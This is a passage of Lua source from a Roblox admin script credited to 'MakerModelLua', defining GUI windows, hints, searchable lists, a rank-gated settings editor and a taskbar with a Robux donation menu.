4064 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4065
4066 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
4067 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4068
4069 if Frame then
4070 local FormBar = Frame.Parent.Parent.FormBar
4071 local Said = false
4072 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4073 if Settings.EnableTaskBar then
4074 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4075 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4076 else
4077 Speak.Position = UDim2.new(1, -58, 0, 5)
4078 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4079 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4080 end
4081 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4082 if not Said then
4083 Said = true
4084 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4085 end
4086 end)
4087
4088 if TextColor then
4089 Body.TextColor3 = TextColor
4090 else
4091 Body.TextColor3 = Color3.new(1,1,1)
4092 end
4093
4094 if tonumber(Time) then coroutine.wrap(function()
4095 if AutoTime then
4096 Time = Time + math.floor(#BodyText/7)
4097 end
4098 local Alive = true
4099
4100 local function StopTimer() Alive = false end
4101 Closed.Event:connect(StopTimer)
4102 Minimized.Event:connect(StopTimer)
4103
4104 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4105 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4106 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4107 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4108 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4109 for i = Time,0,-1 do
4110 for ii = 1,10 do
4111 if Alive == true then
4112 Ticker.Text = i
4113 wait(0.1)
4114 else
4115 break
4116 end
4117 end
4118 end
4119 if Alive == true then
4120 Close:Invoke()
4121 else
4122 Ticker:Destroy()
4123 Stop:Destroy()
4124 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4125 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4126 end
4127 end)() end
4128
4129 CORE:ExecuteResource("CalculateScrollY", Body)
4130 end
4131end
4132
4133function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4134 if not Player then return nil end
4135 if not Player:IsA("Player") then return nil end
4136 if BodyText == "" then return nil end
4137 if not Player:FindFirstChild("PlayerGui") then return nil end
4138 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4139 local TextColor = GUI:ContrastColor()
4140 if Error then TextColor = Color3.new(1,0,0) end
4141
4142 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4143 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4144
4145 CORE:ExecuteResource("CalculateScrollY", Body)
4146
4147 return Frame, Close, Closed, Minimize, Minimized
4148end
4149
4150function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4151 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4152 local TweenTime = 0.5
4153 if not Time then Time = 5 end
4154 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4155 local MaxPos = -1
4156 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4157 local IVal = SGObj:FindFirstChild("Index")
4158 if IVal then
4159 MaxPos = math.max(MaxPos, IVal.Value)
4160 end
4161 end
4162 MaxPos = MaxPos + 1
4163 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4164 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4165 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4166 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4167 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4168 SG.Parent = Player.PlayerGui
4169
4170 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4171 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4172
4173 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4174 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4175 Delay(TweenTime, function()
4176 for i = 1,0,-0.1 do
4177 Body.TextTransparency = i
4178 wait()
4179 end
4180 Body.TextTransparency = 0
4181 end)
4182 Delay(TweenTime + Time, function()
4183 for i = 0,1,0.1 do
4184 Body.TextTransparency = i
4185 wait()
4186 end
4187 Body.TextTransparency = 1
4188 local Done = false
4189 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4190 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4191 end)
4192
4193end)() end
4194
4195function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4196 if not Player then return nil end
4197 if not Player:FindFirstChild("PlayerGui") then return nil end
4198 if not PreSearch then PreSearch = "" end
4199 if AutoNumber == nil then AutoNumber = true end
4200
4201 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4202 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4203 SearchBar.Parent = Frame.Parent
4204 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4205 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4206
4207 local SearchVer = 0,nil
4208 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4209 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4210 local InDialog = false
4211
4212 local function ShowResults(Key)
4213 SearchVer = SearchVer + 1
4214 local ThisSearchVer = SearchVer
4215
4216 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4217 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4218
4219 local NumPos,Num = 0,1
4220
4221 for _,Data in pairs(List) do
4222 if ThisSearchVer ~= SearchVer then
4223 break
4224 end
4225 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4226 if String then
4227 local ImageIcon = nil
4228 if type(Data) == "table" then
4229 String = Data[1]
4230 ImageIcon = Data[2]
4231 end
4232
4233 local TextColor = GUI:ContrastColor()
4234 local StringSplit = STRING:GetSplit(String, 1, " ")
4235 local NewColor = GUI:GetColor(StringSplit[1])
4236 if NewColor then TextColor = NewColor String = StringSplit[2] end
4237
4238 if string.find(string.lower(String), string.lower(Key)) then
4239 Spacer = false
4240 local Font = Settings.Font
4241 local Split = STRING:GetSplit(String, 1, " ")
4242 if string.sub(string.lower(String),1,6) == "bold: " then
4243 Font = "ArialBold"
4244 String = string.sub(String,7)
4245 elseif Fonts[Split[1]] then
4246 Font = Split[1]
4247 String = Split[2]
4248 end
4249 if string.sub(String,1,2) == "--" then
4250 Spacer = true
4251 end
4252 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4253 if ImageIcon then
4254 if tonumber(ImageIcon) then
4255 ImageIcon = "rbxassetid://"..ImageIcon
4256 elseif Icons[ImageIcon] then
4257 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4258 end
4259
4260 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4261 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4262 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4263 Content.Text = ""
4264 NumPos = NumPos + 90
4265 else
4266 NumPos = NumPos + 30
4267 end
4268
4269 if not Clickable then
4270 Content.AutoButtonColor = false
4271 Content.Active = false
4272 Content.BackgroundTransparency = 1
4273 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4274 SOUND:BindButton(Content)
4275 CORE:HandleEvent(Content, "MouseButton1Down", function()
4276 if not InDialog then
4277 Clicked:Fire(String)
4278 end
4279 end, true)
4280 end
4281 if Spacer == false then Num = Num + 1 end
4282 end
4283 end
4284 end
4285 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4286 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4287 end
4288
4289 RequestDialog.OnInvoke = function(RequestDialogCall)
4290 InDialog = RequestDialogCall
4291 end
4292
4293 ShowResults(PreSearch)
4294
4295 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4296 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4297 if Prop == "Text" then
4298 local Text = CORE:ReadProperty(RPR, Player, "Text")
4299 ShowResults(Text)
4300 Frame.CanvasPosition = Vector2.new(0,0)
4301 end
4302 end)
4303
4304 return Clicked, RequestDialog, Close
4305end
4306
4307function GUI:PropertyGui(Player, Title, Icon, Properties)
4308 if not Player then return nil end
4309 if not Player:FindFirstChild("PlayerGui") then return nil end
4310 if type(Properties) ~= "table" then return nil end
4311 local HasClosed = false
4312 local NewProperties = {}
4313
4314 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4315 Frame.ClipsDescendants = true
4316 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4317
4318 for PropertyName,Data in pairs(Properties) do
4319 NewProperties[PropertyName] = Data[1]
4320 end
4321
4322 local YCount = 0
4323
4324 for PropertyName,Data in pairs(Properties) do
4325 if type(Data) == "table" then
4326 local DefaultValue = Data[1]
4327 local Writable = Data[2]
4328 local ValueType = Data[3]
4329
4330 if Writable == nil then Writable = false end
4331 if type(ValueType) == "string" then -- now this is confusing
4332 ValueType = string.lower(ValueType)
4333 elseif ValueType == nil then
4334 ValueType = type(DefaultValue)
4335 end
4336
4337 if ValueType == "nil" or ValueType == "userdata" then
4338 ValueType = nil
4339 elseif ValueType == "table" then
4340 DefaultValue = STRING:UnpackArgs(DefaultValue)
4341 ValueType = "string"
4342 end
4343
4344 if ValueType then
4345 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4346 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4347 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4348
4349 if ValueType == "string" or ValueType == "number" then
4350 if Writable == true then
4351 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4352 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4353 if ValueType == "number" then
4354 NewProperties[PropertyName] = tonumber(Input.Text)
4355 else
4356 NewProperties[PropertyName] = tostring(Input.Text)
4357 end
4358 end end)
4359 else
4360 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4361 end
4362 end
4363 if ValueType == "boolean" then
4364 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4365 if DefaultValue == true then
4366 Check.Image = "rbxassetid://48138491"
4367 end
4368 if Writable == true then
4369 CORE:HandleEvent(Check, "MouseButton1Down", function()
4370 local NewVal = not NewProperties[PropertyName]
4371 NewProperties[PropertyName] = NewVal
4372 if NewVal == true then
4373 Check.Image = "rbxassetid://48138491"
4374 else
4375 Check.Image = "rbxassetid://48138474"
4376 end
4377 end)
4378 else
4379 Check.ImageTransparency = 0.5
4380 end
4381 end
4382 YCount = YCount + 50
4383 end
4384 end
4385 end
4386
4387 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4388
4389 Closed.Event:connect(function() HasClosed = true end)
4390
4391 repeat wait(0.1) until HasClosed
4392 return NewProperties
4393end
4394
4395function GUI:SettingsGui(Player)
4396 if not Player then return nil end
4397 local CloneViewSettings,CanChange = {},false
4398
4399 local ViewSettings = {
4400 ["Version"] = {CORE.Version.Value, false, nil};
4401 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4402 ["Font"] = {Settings.Font, 3, "Font"};
4403 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4404 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4405 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4406 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4407 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4408 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4409 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4410 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4411 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4412 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4413 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4414 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4415 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4416 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4417 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4418 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4419 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4420 ["Bet"] = {Settings.Bet, 3, "Bet"};
4421 }
4422
4423 local _,RankNum = RANK:GetRank(Player)
4424 if RankNum >= 3 then
4425 CanChange = true
4426 end
4427
4428 for Prop,Data in pairs(ViewSettings) do
4429 local Writable = false
4430 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4431 CloneViewSettings[Prop] = {Data[1], Writable}
4432 end
4433
4434 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4435 if CanChange then
4436 for Prop,Data in pairs(ViewSettings) do
4437 if Data[3] then
4438 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4439 end
4440 end
4441 CORE:FixSettings()
4442 end
4443end
4444
4445function GUI:MessageAdmins(TitleText, BodyText, Icon)
4446 for _,Player in pairs(Server.Players:GetPlayers()) do
4447 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4448 if PlayerAdmin then
4449 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4450 end
4451 end
4452end
4453
4454function GUI:TellAdmin(Player)
4455 if not Player then return end
4456
4457 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4458 if ValidAdmin == true then
4459 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4460 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4461 local SoundID = 237866523
4462 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4463 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4464 Sound:Play()
4465 coroutine.wrap(function()
4466 wait(4)
4467 Sound:Stop()
4468 Sound:Destroy()
4469 end)()
4470 end
4471 end
4472end
4473
4474function GUI:TellNotAdmin(Player)
4475 if not Player then return end
4476
4477 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4478end
4479
4480function GUI:CreateTaskBar(Player)
4481 if not Player then return nil end
4482 if Settings.EnableTaskBar == false then return nil end
4483 Player:WaitForChild("PlayerGui")
4484 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4485 if SG then SG:Destroy() end
4486 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4487 local IsMoving = false
4488 local TaskBarShown = false
4489 local Tasks = {}
4490
4491 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4492 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4493
4494 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4495 local Open,CloseForm = false,nil
4496 if Settings.EnableAdminMenu then
4497 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4498 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4499 if Open == false then
4500 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4501 Open,CloseForm = true,Close
4502
4503 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4504 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4505 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4506 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4507 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4508 local function DonateMoney(Type, Element)
4509 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4510 local Get = Request[Type]
4511 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4512 Server.MPS:PromptPurchase(Player, Get[1], true)
4513 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4514 Server.MPS:PromptPurchase(Player, Get[2], true)
4515 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4516 Server.MPS:PromptPurchase(Player, Get[3], true)
4517 else
4518 Element.Text = "Cannot get request"
4519 end
4520 end
4521 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4522 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4523 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4524 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4525 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4526 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4527
4528 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4529
4530 if Closed then
4531 Closed.Event:connect(function()
4532 Open = false
4533 end)
4534 end
4535 else
4536 CloseForm:Invoke()
4537 end
4538 end) end)()
4539 if RANK:GetRank(Player) == "Owner" then
4540 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4541 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4542 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4543 if HUDSG then
4544 HUDSG:Destroy()
4545 else
4546 GUI:CreateHUD(Player)
4547 end
4548 end)
4549 end
4550 end
4551
4552 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4553 if IsMoving == false then
4554 if TaskBarShown == true then
4555 TaskBarShown = false
4556 IsMoving = true
4557 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4558 else
4559 TaskBarShown = true
4560 IsMoving = true
4561 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4562 end
4563 end
4564 end)
4565
4566 local function ReloadIcons()
4567 for Num,Data in pairs(Tasks) do
4568 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4569 end
4570 end
4571
4572 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4573 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4574 table.insert(Tasks, {Form, Icon})
4575 local CanClick = true
4576 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4577 if Form.IsActive.Value == false then
4578 Restore:Invoke()
4579 elseif CanClick == true then
4580 coroutine.wrap(function()
4581 CanClick = false
4582 local DefPos = Form.Dragger.Position
4583 for i = 1,15 do
4584 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4585 wait(0.05)
4586 end
4587 Form.Dragger.Position = DefPos
4588 CanClick = true
4589 end)()
4590 end
4591 end)
4592 ReloadIcons()
4593
